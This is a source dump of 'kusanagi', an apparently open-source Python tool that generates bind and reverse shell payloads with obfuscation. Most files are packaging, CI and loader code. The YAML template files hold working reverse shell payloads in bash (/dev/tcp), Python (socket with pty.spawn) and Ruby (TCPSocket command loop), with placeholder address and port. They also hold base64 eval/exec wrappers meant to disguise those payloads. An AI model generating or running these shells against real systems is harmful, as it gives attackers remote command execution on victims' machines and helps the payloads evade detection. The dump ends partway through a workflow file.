├── kusanagi
├── core
│ ├── __init__.py
│ ├── helper
│ │ └── __init__.py
│ ├── payload
│ │ ├── cmd
│ │ │ ├── obfuscator
│ │ │ │ ├── __init__.py
│ │ │ │ └── validator.py
│ │ │ ├── __init__.py
│ │ │ └── revshell
│ │ │ │ ├── __init__.py
│ │ │ │ └── validator.py
│ │ ├── code
│ │ │ ├── obfuscator
│ │ │ │ ├── __init__.py
│ │ │ │ └── validator.py
│ │ │ ├── __init__.py
│ │ │ └── revshell
│ │ │ │ ├── __init__.py
│ │ │ │ └── validator.py
│ │ └── __init__.py
│ ├── loader
│ │ ├── template
│ │ │ └── __init__.py
│ │ ├── yaml
│ │ │ ├── __init__.py
│ │ │ ├── loader.py
│ │ │ └── validator.py
│ │ └── __init__.py
│ ├── sorter
│ │ └── __init__.py
│ ├── output
│ │ ├── printer
│ │ │ └── __init__.py
│ │ ├── clipboard
│ │ │ └── __init__.py
│ │ ├── encoder
│ │ │ └── __init__.py
│ │ └── __init__.py
│ ├── parser
│ │ ├── __init__.py
│ │ └── function.py
│ └── filter
│ │ └── __init__.py
├── defaults.py
├── files
│ ├── code
│ │ ├── revshells
│ │ │ ├── bash.yml
│ │ │ ├── python.yml
│ │ │ ├── ruby.yml
│ │ │ └── php.yml
│ │ └── obfuscators
│ │ │ ├── bash.yml
│ │ │ ├── python.yml
│ │ │ └── php.yml
│ └── cmd
│ │ ├── revshells
│ │ └── bash.yml
│ │ └── obfuscators
│ │ └── bash-gnu.yml
├── __init__.py
└── args.py
├── requirements.txt
├── doc
└── screenshot01.png
├── .yamllint
├── bin
├── README.md
└── kusa
├── .editorconfig
├── .gitignore
├── .github
└── workflows
│ ├── code-black.yml
│ ├── code-mypy.yml
│ ├── code-pylint.yml
│ ├── code-pydocstyle.yml
│ ├── code-pycodestyle.yml
│ ├── testing.yml
│ ├── linting.yml
│ ├── building.yml
│ └── codeql-analysis.yml
├── LICENSE.txt
├── setup.cfg
├── setup.py
├── Makefile
└── README.md
/kusanagi/core/__init__.py:
--------------------------------------------------------------------------------
1 | """Empty."""
2 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | PyYAML
2 | pyperclip>=1.8.2
3 | termcolor>=1.1.0
4 |
--------------------------------------------------------------------------------
/doc/screenshot01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cytopia/kusanagi/master/doc/screenshot01.png
--------------------------------------------------------------------------------
/.yamllint:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | extends: default
4 |
5 | rules:
6 | line-length:
7 | max: 100
8 | truthy: disable
9 |
--------------------------------------------------------------------------------
/bin/README.md:
--------------------------------------------------------------------------------
1 | # `bin/` directory
2 |
3 |
4 | This directory contains a Python wrapper to execute the code in `kusanagi/` package directory.
5 |
6 | * It is not the final produced artifact.
7 | * Do not copy this file somewhere else (it won't work)
8 | * Use `setup.py` or `pip` for installation
9 |
--------------------------------------------------------------------------------
/bin/kusa:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 | import pathlib
6 |
7 | # Get absolute path of root of this git directory
8 | path_here = pathlib.Path(__file__).parent.absolute()
9 | path_root = os.path.join(path_here, os.pardir)
10 | sys.path.append(path_root)
11 |
12 | # Import our package
13 | import kusanagi
14 |
15 |
16 | # Run main function
17 | kusanagi.main()
18 |
--------------------------------------------------------------------------------
/kusanagi/core/helper/__init__.py:
--------------------------------------------------------------------------------
1 | """This module provides helper functions."""
2 |
3 | from typing import List
4 |
5 |
6 | def intersect(list1: List[str], list2: List[str]) -> List[str]:
7 | """Returns the intersection of two lists of strings."""
8 | return list(set(list1) & set(list2))
9 |
10 |
11 | def unique(list1: List[str]) -> List[str]:
12 | """Returns a list with unique items."""
13 | return list(set(list1))
14 |
--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
1 | # top-most EditorConfig file
2 | root = true
3 |
4 | # Default for all files
5 | [*]
6 | charset = utf-8
7 | end_of_line = lf
8 | insert_final_newline = true
9 | trim_trailing_whitespace = true
10 |
11 | # Custom files
12 | [*.py]
13 | indent_style = space
14 | indent_size = 4
15 |
16 | [Makefile]
17 | indent_style = tab
18 | indent_size = 4
19 |
20 | [*.{yml,yaml}]
21 | indent_style = space
22 | indent_size = 2
23 |
24 | [*.md]
25 | indent_style = space
26 | trim_trailing_whitespace = false
27 | indent_size = 2
28 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/cmd/obfuscator/__init__.py:
--------------------------------------------------------------------------------
1 | """Obfuscator module."""
2 | from typing import List, Dict, Any
3 | import copy
4 |
5 | from .validator import VALIDATOR
6 | from ....loader import load
7 |
8 | # Available obfuscator files
9 | OBFUSCATOR_FILES = [
10 | "bash-gnu.yml",
11 | ]
12 |
13 | OBFUSCATOR_SUBDIRS = ["cmd", "obfuscators"]
14 |
15 |
16 | def get_obfuscators() -> List[Dict[str, Any]]:
17 | """Returns list of unparsed obfuscators."""
18 | return load(OBFUSCATOR_FILES, OBFUSCATOR_SUBDIRS, VALIDATOR)
19 |
--------------------------------------------------------------------------------
/kusanagi/defaults.py:
--------------------------------------------------------------------------------
1 | """This file defines all module wide default values."""
2 |
3 |
4 | # Default remote settings
5 | DEF_PORT = 4444
6 |
7 |
8 | # Available templates
9 | DEF_TEMPLATES = [
10 | "reverse",
11 | "bind",
12 | ]
13 |
14 |
15 | # Credits
16 | DEF_BIN = "kusa"
17 | DEF_NAME = "kusanagi"
18 | DEF_DESC = (
19 | "Kusanagi is a bind and reverse shell payload generator with obfuscation and badchar support."
20 | )
21 | DEF_VERSION = "0.0.5"
22 | DEF_AUTHOR = "cytopia"
23 | DEF_GITHUB = "https://github.com/cytopia/kusanagi"
24 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/code/obfuscator/__init__.py:
--------------------------------------------------------------------------------
1 | """Obfuscator module."""
2 | from typing import List, Dict, Any
3 | import copy
4 |
5 | from .validator import VALIDATOR
6 | from ....loader import load
7 |
8 | # Available obfuscator files
9 | OBFUSCATOR_FILES = [
10 | "bash.yml",
11 | "php.yml",
12 | "python.yml",
13 | ]
14 |
15 | OBFUSCATOR_SUBDIRS = ["code", "obfuscators"]
16 |
17 |
18 | def get_obfuscators() -> List[Dict[str, Any]]:
19 | """Returns list of unparsed obfuscators."""
20 | return load(OBFUSCATOR_FILES, OBFUSCATOR_SUBDIRS, VALIDATOR)
21 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # --------------------------------------------------------------------------------------------------
2 | # Python cache
3 | # --------------------------------------------------------------------------------------------------
4 | __pycache__
5 | *.pyc
6 |
7 |
8 | # --------------------------------------------------------------------------------------------------
9 | # Build artifacts
10 | # --------------------------------------------------------------------------------------------------
11 | .mypy_cache/*
12 | kusanagi.egg-info/
13 | env/
14 | build/
15 | dist/
16 | venv/
17 |
--------------------------------------------------------------------------------
/.github/workflows/code-black.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Code style
5 | ###
6 |
7 | name: black
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | lint:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | target:
22 | - black
23 | name: "[ ${{ matrix.target }} ]"
24 | steps:
25 | - name: Checkout repository
26 | uses: actions/checkout@master
27 |
28 | - name: "${{ matrix.target }}"
29 | run: |
30 | make _code-${{ matrix.target }}
31 |
--------------------------------------------------------------------------------
/.github/workflows/code-mypy.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Code style
5 | ###
6 |
7 | name: mypy
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | lint:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | target:
22 | - mypy
23 | name: "[ ${{ matrix.target }} ]"
24 | steps:
25 | - name: Checkout repository
26 | uses: actions/checkout@master
27 |
28 | - name: "${{ matrix.target }}"
29 | run: |
30 | make _code-${{ matrix.target }}
31 |
--------------------------------------------------------------------------------
/.github/workflows/code-pylint.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Code style
5 | ###
6 |
7 | name: pylint
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | lint:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | target:
22 | - pylint
23 | name: "[ ${{ matrix.target }} ]"
24 | steps:
25 | - name: Checkout repository
26 | uses: actions/checkout@master
27 |
28 | - name: "${{ matrix.target }}"
29 | run: |
30 | make _code-${{ matrix.target }}
31 |
--------------------------------------------------------------------------------
/.github/workflows/code-pydocstyle.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Code style
5 | ###
6 |
7 | name: pydoc
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | lint:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | target:
22 | - pydocstyle
23 | name: "[ ${{ matrix.target }} ]"
24 | steps:
25 | - name: Checkout repository
26 | uses: actions/checkout@master
27 |
28 | - name: "${{ matrix.target }}"
29 | run: |
30 | make _code-${{ matrix.target }}
31 |
--------------------------------------------------------------------------------
/.github/workflows/code-pycodestyle.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Code style
5 | ###
6 |
7 | name: pycode
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | lint:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | target:
22 | - pycodestyle
23 | name: "[ ${{ matrix.target }} ]"
24 | steps:
25 | - name: Checkout repository
26 | uses: actions/checkout@master
27 |
28 | - name: "${{ matrix.target }}"
29 | run: |
30 | make _code-${{ matrix.target }}
31 |
--------------------------------------------------------------------------------
/kusanagi/core/loader/template/__init__.py:
--------------------------------------------------------------------------------
1 | """Module that returns template directories."""
2 |
3 | from typing import List
4 | import os
5 | import pathlib
6 |
7 |
8 | TEMPLATE_DIR = "files"
9 |
10 |
11 | def get_template_dir(dirs: List[str] = []) -> pathlib.PurePath:
12 | """Returns absolute path of template dir."""
13 | path = pathlib.PurePath(__file__)
14 | path = path.parent
15 | path = path.parent
16 | path = path.parent
17 | path = path.parent
18 | path = path.joinpath(TEMPLATE_DIR)
19 | # Add specified sub directories (if any)
20 | for subdir in dirs:
21 | path = path.joinpath(subdir)
22 | return path
23 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/cmd/__init__.py:
--------------------------------------------------------------------------------
1 | """Code Module."""
2 | from typing import List, Dict, Any
3 |
4 | from .revshell import get_revshells
5 |
6 |
7 | def get_items(payload: str, obfuscated: bool, options: Dict[str, Any]) -> List[Dict[str, Any]]:
8 | """Returns list of payload items by 'payload' type with corresponding payload options.
9 |
10 | Args:
11 | payload (str): Payload type (revshell, bindshell)
12 | options (dict): Payload options for the corresponding type.
13 |
14 | Returns:
15 | List[dict]: List of payload items.
16 | """
17 | if payload == "revshell":
18 | return get_revshells(options["addr"], options["port"], obfuscated)
19 | return []
20 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/code/__init__.py:
--------------------------------------------------------------------------------
1 | """Code Module."""
2 | from typing import List, Dict, Any
3 |
4 | from .revshell import get_revshells
5 |
6 |
7 | def get_items(payload: str, obfuscated: bool, options: Dict[str, Any]) -> List[Dict[str, Any]]:
8 | """Returns list of payload items by 'payload' type with corresponding payload options.
9 |
10 | Args:
11 | payload (str): Payload type (revshell, bindshell)
12 | options (dict): Payload options for the corresponding type.
13 |
14 | Returns:
15 | List[dict]: List of payload items.
16 | """
17 | if payload == "revshell":
18 | return get_revshells(options["addr"], options["port"], obfuscated)
19 | return []
20 |
--------------------------------------------------------------------------------
/kusanagi/core/sorter/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to sort payloads on their given options."""
2 | from typing import List, Dict, Any
3 |
4 |
5 | def sort_by_default(payloads: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
6 | """Sort payloads by rating and then length length."""
7 | return sorted(payloads, key=lambda k: (int(k["rating"]), len(k["payload"])), reverse=True)
8 |
9 |
10 | def sort_by_length(payloads: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
11 | """Sort payloads by length."""
12 | return sorted(payloads, key=lambda k: len(k["payload"]), reverse=True)
13 |
14 |
15 | def sort_by_rating(payloads: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
16 | """Sort payloads by rating."""
17 | return sorted(payloads, key=lambda k: int(k["rating"]), reverse=True)
18 |
--------------------------------------------------------------------------------
/.github/workflows/testing.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Lints all generic and json files in the whole git repository
5 | ###
6 |
7 | name: testing
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | test:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | version:
22 | - '3.6'
23 | - '3.7'
24 | - '3.8'
25 | - '3.9'
26 |
27 | name: "[${{ matrix.version }}]"
28 | steps:
29 | - name: Checkout repository
30 | uses: actions/checkout@master
31 |
32 | - name: Build source distribution
33 | run: |
34 | make test PYTHON_VERSION=${version}
35 | env:
36 | version: ${{ matrix.version }}
37 |
--------------------------------------------------------------------------------
/.github/workflows/linting.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Lints all generic and json files in the whole git repository
5 | ###
6 |
7 | name: linting
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | lint:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | target:
22 | - Linting
23 | name: "[ ${{ matrix.target }} ]"
24 | steps:
25 | - name: Checkout repository
26 | uses: actions/checkout@master
27 |
28 | - name: Lint files
29 | run: |
30 | make _lint-files
31 |
32 | - name: "Check version"
33 | run: |
34 | make _lint-version
35 |
36 | - name: "Check binary name"
37 | run: |
38 | make _lint-bin-name
39 |
40 | - name: "Check package name"
41 | run: |
42 | make _lint-pkg-name
43 |
44 | - name: "Check description"
45 | run: |
46 | make _lint-description
47 |
48 |
49 |
--------------------------------------------------------------------------------
/kusanagi/files/code/revshells/bash.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: revshell
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | - name: bash-sh-dev-tcp
18 | desc: description
19 | info:
20 | - BSD don't have bash installed by default
21 | - Solaris doesn't have bash installed by default
22 | rating: 1
23 | code:
24 | language: bash
25 | requires:
26 | version: [] # Works on any version of bash
27 | commands: ["sh"] # Will execute sh
28 | functions: [] # No functions used
29 | modules: [] # No modules used
30 | os: ["bsd", "linux", "mac", "solaris"] # Works on *nix only (due to/bin/sh)
31 | revshell:
32 | proto: tcp
33 | shell: sh
34 | command: "/bin/sh"
35 | payload: |
36 | /bin/sh>&/dev/tcp/__ADDR__/__PORT__ 0>&1
37 |
--------------------------------------------------------------------------------
/kusanagi/core/output/printer/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to print to terminal with or without colors."""
2 |
3 | from typing import Optional, Any
4 | import sys
5 |
6 | from termcolor import cprint
7 |
8 |
9 | class Printer:
10 | """stdout, stderr print class with color support."""
11 |
12 | def __init__(self, colored: bool) -> None:
13 | self.__colored = colored
14 |
15 | def stderr(self, text: str, color: Optional[str] = None, **kwargs: Any) -> None:
16 | """Print to stderr with or without color depending on instance settings."""
17 | if self.__colored:
18 | cprint(text, color, file=sys.stderr, **kwargs)
19 | else:
20 | print(text, file=sys.stderr, **kwargs)
21 |
22 | def stdout(self, text: str, color: Optional[str] = None, **kwargs: Any) -> None:
23 | """Print to stdout with or without color depending on instance settings."""
24 | if self.__colored:
25 | cprint(text, color, **kwargs)
26 | else:
27 | print(text, **kwargs)
28 |
--------------------------------------------------------------------------------
/kusanagi/files/code/obfuscators/bash.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: obfuscator
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | - name: bash-eval-base64-func
18 | desc: desc
19 | info: []
20 | code:
21 | language: bash
22 | requires:
23 | version: []
24 | commands: [base64]
25 | functions: ["eval"]
26 | modules: []
27 | os: ["bsd", "linux", "mac", "solaris", "windows"]
28 | payload: |
29 | eval $(echo __CODE__|base64 -d)
30 |
31 |
32 | - name: bash-eval-base64-backtick
33 | desc: desc
34 | info: []
35 | code:
36 | language: bash
37 | requires:
38 | version: []
39 | commands: [base64]
40 | functions: ["eval"]
41 | modules: []
42 | os: ["bsd", "linux", "mac", "solaris", "windows"]
43 | payload: |
44 | eval `echo __CODE__|base64 -d`
45 |
--------------------------------------------------------------------------------
/kusanagi/files/code/obfuscators/python.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: obfuscator
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | - name: python-eval-base64
18 | desc: desc
19 | info: []
20 | code:
21 | language: python
22 | requires:
23 | version: [2, 3]
24 | commands: []
25 | functions: ["exec", "base64decode"]
26 | modules: ["base64"]
27 | os: ["bsd", "linux", "mac", "windows"]
28 | payload: |
29 | import base64;
30 | exec(base64.b64decode("__CODE__"))
31 |
32 |
33 | - name: python-exec-hex
34 | desc: desc
35 | info: []
36 | code:
37 | language: python
38 | requires:
39 | version: [3]
40 | commands: []
41 | functions: ["exec", "base64decode"]
42 | modules: ["base64"]
43 | os: ["bsd", "linux", "mac", "windows"]
44 | payload: |
45 | exec(b"__CODE__".decode("utf-8"))
46 |
--------------------------------------------------------------------------------
/kusanagi/files/code/revshells/python.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: revshell
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Code array
14 | ###
15 | items:
16 |
17 | - name: python-fsockopen
18 | desc: description
19 | info: []
20 | rating: 1
21 | code:
22 | language: python
23 | requires:
24 | version: [2, 3]
25 | commands: ["sh"] # Used shell commands
26 | functions: ["socket", "connect", "dup2", "spawn", "fsockopen", "popen"]
27 | modules: ["socket", "subprocess", "os", "pty"]
28 | os: ["bsd", "linux", "mac"] # Works on these operating systems
29 | revshell:
30 | proto: tcp
31 | shell: sh
32 | command: "/bin/sh"
33 | payload: |
34 | import socket,subprocess,os,pty;
35 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
36 | s.connect(("__ADDR__",__PORT__));
37 | os.dup2(s.fileno(),0);
38 | os.dup2(s.fileno(),1);
39 | os.dup2(s.fileno(),2);
40 | pty.spawn("/bin/sh");
41 |
--------------------------------------------------------------------------------
/kusanagi/files/code/revshells/ruby.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: revshell
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Code array
14 | ###
15 | items:
16 |
17 | - name: ruby-no-sh
18 | desc: description
19 | info: []
20 | rating: 1
21 | code:
22 | language: ruby
23 | requires:
24 | version: []
25 | commands: [] # Used shell commands
26 | functions: ["puts", "popen", "print", "read", "chomp", "new", "chdir"]
27 | modules: ["socket"]
28 | os: ["bsd", "linux", "mac"] # Works on these operating systems
29 | revshell:
30 | proto: tcp
31 | shell: sh
32 | command: null
33 | payload: |
34 | require "socket";
35 | exit if fork;
36 | c=TCPSocket.new("__ADDR__","__PORT__");
37 | loop{
38 | c.gets.chomp!;
39 | (
40 | exit! if $_=="exit"
41 | );
42 | (
43 | $_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read})
44 | )rescue c.puts "failed: #{$_}"
45 | }
46 |
--------------------------------------------------------------------------------
/kusanagi/core/output/clipboard/__init__.py:
--------------------------------------------------------------------------------
1 | """Clipboard module."""
2 |
3 | import pyperclip # type: ignore
4 |
5 | # IMPORTANT:
6 | # On Windows, no additional modules are needed.
7 | #
8 | # On Mac, this module makes use of the pbcopy and pbpaste commands, which should come with the os.
9 | #
10 | # On Linux, this module makes use of the xclip or xsel commands, which should come with the os.
11 | # Otherwise run “sudo apt-get install xclip” or “sudo apt-get install xsel”
12 | # (Note: xsel does not always seem to work.)
13 | #
14 | # Otherwise on Linux, you will need the gtk or PyQt4 modules installed.
15 |
16 |
17 | def copy_to_clipboard(data: str) -> None:
18 | """Copy text to clipboard.
19 |
20 | Raises:
21 | OSError if clipboard fails.
22 | """
23 | try:
24 | # Need to copy to secondary first (due to lazy loading)
25 | # And then the 'primary=' key is available.
26 | # https://github.com/asweigart/pyperclip/issues/190
27 | pyperclip.copy(data)
28 | pyperclip.copy(data, primary=True)
29 | except pyperclip.PyperclipException as error:
30 | raise OSError(error) from error
31 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 cytopia
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/kusanagi/core/loader/yaml/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to load and validate a yaml configuration file."""
2 |
3 | from typing import Dict, Any
4 | from pathlib import PurePath
5 |
6 | from .loader import _load
7 | from .validator import _validate_requirements
8 | from .validator import _validate_invalid_keys
9 |
10 |
11 | def load(path: PurePath, validator: Dict[str, Any]) -> Dict[str, Any]:
12 | """Load yaml file by path and return it as Python dictionary.
13 |
14 | Args:
15 | path (str): Path to yaml file.
16 | validator: (Dict[Any, Any]): Yaml dict used to validate a loaded yaml file against.
17 |
18 | Raises:
19 | OSError: If yaml file cannot be found or read (permission-wise).
20 | KeyError: If yaml file cannot be parsed or is not valid for its validator.
21 | """
22 | data = _load(path)
23 | try:
24 | _validate_requirements("", data, validator) # Ensure all keys are defined
25 | _validate_invalid_keys("", data, validator) # Ensure no extra keys are defined
26 | except KeyError as error:
27 | message = error.args[0]
28 | raise KeyError(f"{message}\nIn file:{path}") from error
29 | return data
30 |
--------------------------------------------------------------------------------
/kusanagi/core/loader/yaml/loader.py:
--------------------------------------------------------------------------------
1 | """Load a yaml file."""
2 |
3 | from typing import Dict, Any
4 |
5 | from pathlib import PurePath
6 | import errno
7 | import os
8 | import yaml
9 |
10 |
11 | def _load(path: PurePath) -> Dict[str, Any]:
12 | """Load yaml file by path and return it as Python dictionary.
13 |
14 | Args:
15 | path (str): Path to yaml file.
16 |
17 | Returns:
18 | dict: Python dict from yaml file.
19 |
20 | Raises:
21 | OSError: If file not found or yaml cannot be read.
22 | KeyError: If file cannot be parsed.
23 | """
24 | try:
25 | file_p = open(os.fspath(path))
26 | except FileNotFoundError as err_file:
27 | error = os.strerror(errno.ENOENT)
28 | raise OSError(f"[ERROR] File does not exist: {path}\n{error}") from err_file
29 | except PermissionError as err_perm:
30 | error = os.strerror(errno.EACCES)
31 | raise OSError(f"[ERROR] No permission to load file form: {path}\n{error}") from err_perm
32 | else:
33 | try:
34 | return dict(yaml.safe_load(file_p))
35 | except yaml.YAMLError as err_yaml:
36 | error = str(err_yaml)
37 | raise KeyError(f"[ERROR]: {path}\n{error}") from err_yaml
38 | finally:
39 | file_p.close()
40 |
--------------------------------------------------------------------------------
/.github/workflows/building.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Lints all generic and json files in the whole git repository
5 | ###
6 |
7 | name: building
8 | on:
9 | pull_request:
10 | push:
11 | branches:
12 | - master
13 | tags:
14 |
15 | jobs:
16 | build:
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: False
20 | matrix:
21 | version:
22 | - '3.6'
23 | - '3.7'
24 | - '3.8'
25 | - '3.9'
26 |
27 | name: "[${{ matrix.version }}]"
28 | steps:
29 | - name: Checkout repository
30 | uses: actions/checkout@master
31 |
32 | - name: Build source distribution
33 | run: |
34 | make _build-source_dist PYTHON_VERSION=${version}
35 | env:
36 | version: ${{ matrix.version }}
37 |
38 | - name: Build binary distribution
39 | run: |
40 | make _build-binary_dist PYTHON_VERSION=${version}
41 | env:
42 | version: ${{ matrix.version }}
43 |
44 | - name: Build Python package
45 | run: |
46 | make _build-python_package PYTHON_VERSION=${version}
47 | env:
48 | version: ${{ matrix.version }}
49 |
50 | - name: Check Python package
51 | run: |
52 | make _build-check_python_package PYTHON_VERSION=${version}
53 | env:
54 | version: ${{ matrix.version }}
55 |
--------------------------------------------------------------------------------
/kusanagi/core/loader/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to load items from path of files."""
2 |
3 | from typing import List, Dict, Any
4 | import sys
5 |
6 | from . import yaml
7 | from . import template
8 |
9 |
10 | def load(files: List[str], subdirs: List[str], validator: Dict[str, Any]) -> List[Dict[str, Any]]:
11 | """Load available payloads from givesn list of files&subdirs and validate them.
12 |
13 | Args:
14 | files: List of file names.
15 | subdirs: List of subdirs to traverse into.
16 | validator: Dictionary to validate yaml against.
17 |
18 | Returns:
19 | List[dict]: List of loaded and validated items.
20 |
21 | Raises:
22 | OSError: If yaml file cannot be found or read (permission-wise).
23 | KeyError: If yaml file cannot be parsed or is not valid for its validator.
24 | """
25 | items = []
26 | paths = []
27 |
28 | for name in files:
29 | temp = subdirs[:] # Make a copy of subdirs
30 | temp.append(name) # Append name to subdirs
31 | paths.append(template.get_template_dir(temp))
32 |
33 | for path in paths:
34 | # Load yaml file and validate
35 | try:
36 | data = yaml.load(path, validator)
37 | except OSError as error:
38 | print(error.args[0], file=sys.stderr)
39 | sys.exit(1)
40 | except KeyError as error:
41 | print(error.args[0], file=sys.stderr)
42 | sys.exit(1)
43 |
44 | for item in data["items"]:
45 | # Append list items
46 | items.append(item)
47 | return items
48 |
--------------------------------------------------------------------------------
/kusanagi/files/cmd/revshells/bash.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: cmd
8 | type: revshell
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | - name: bash-sh-tcp
18 | desc: TCP reverse shell with bash|sh|zsh initiated from within a bash shell
19 | info:
20 | - Can be executed from within any shell
21 | rating: 1
22 | meta:
23 | author: cytopia
24 | editors: ["cytopia"]
25 | created: "2021-04-08"
26 | modified: "2021-04-08"
27 | version: 0.0.1
28 | cmd:
29 | executable: bash
30 | requires:
31 | commands: ["sh", "bash"]
32 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"]
33 | os: ["bsd", "linux", "mac", "solaris"]
34 | revshell:
35 | proto: tcp
36 | shell: sh
37 | command: /bin/sh
38 | payload: |
39 | bash -c '/bin/sh>&/dev/tcp/__ADDR__/__PORT__ 0>&1'
40 |
41 |
42 | - name: bash-sh-tcp
43 | desc: TCP reverse shell with bash|sh|zsh initiated from within a bash shell
44 | info:
45 | - Must be executed from within a bash shell ('/dev/tcp/' is bash specific)
46 | rating: 1
47 | meta:
48 | author: cytopia
49 | editors: ["cytopia"]
50 | created: "2021-04-08"
51 | modified: "2021-04-08"
52 | version: 0.0.1
53 | cmd:
54 | executable: sh
55 | requires:
56 | commands: ["sh"]
57 | shell_env: ["bash"]
58 | os: ["bsd", "linux", "mac", "solaris"]
59 | revshell:
60 | proto: tcp
61 | shell: sh
62 | command: /bin/sh
63 | payload: |
64 | /bin/sh>&/dev/tcp/__ADDR__/__PORT__ 0>&1
65 |
--------------------------------------------------------------------------------
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | name: "CodeQL"
2 |
3 | on:
4 | push:
5 | branches: [ master ]
6 | pull_request:
7 | # The branches below must be a subset of the branches above
8 | branches: [ master ]
9 | schedule:
10 | - cron: '42 6 * * 1'
11 |
12 | jobs:
13 | analyze:
14 | name: Analyze
15 | runs-on: ubuntu-latest
16 |
17 | strategy:
18 | fail-fast: false
19 | matrix:
20 | language: [ 'python' ]
21 | # Learn more:
22 | # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
23 |
24 | steps:
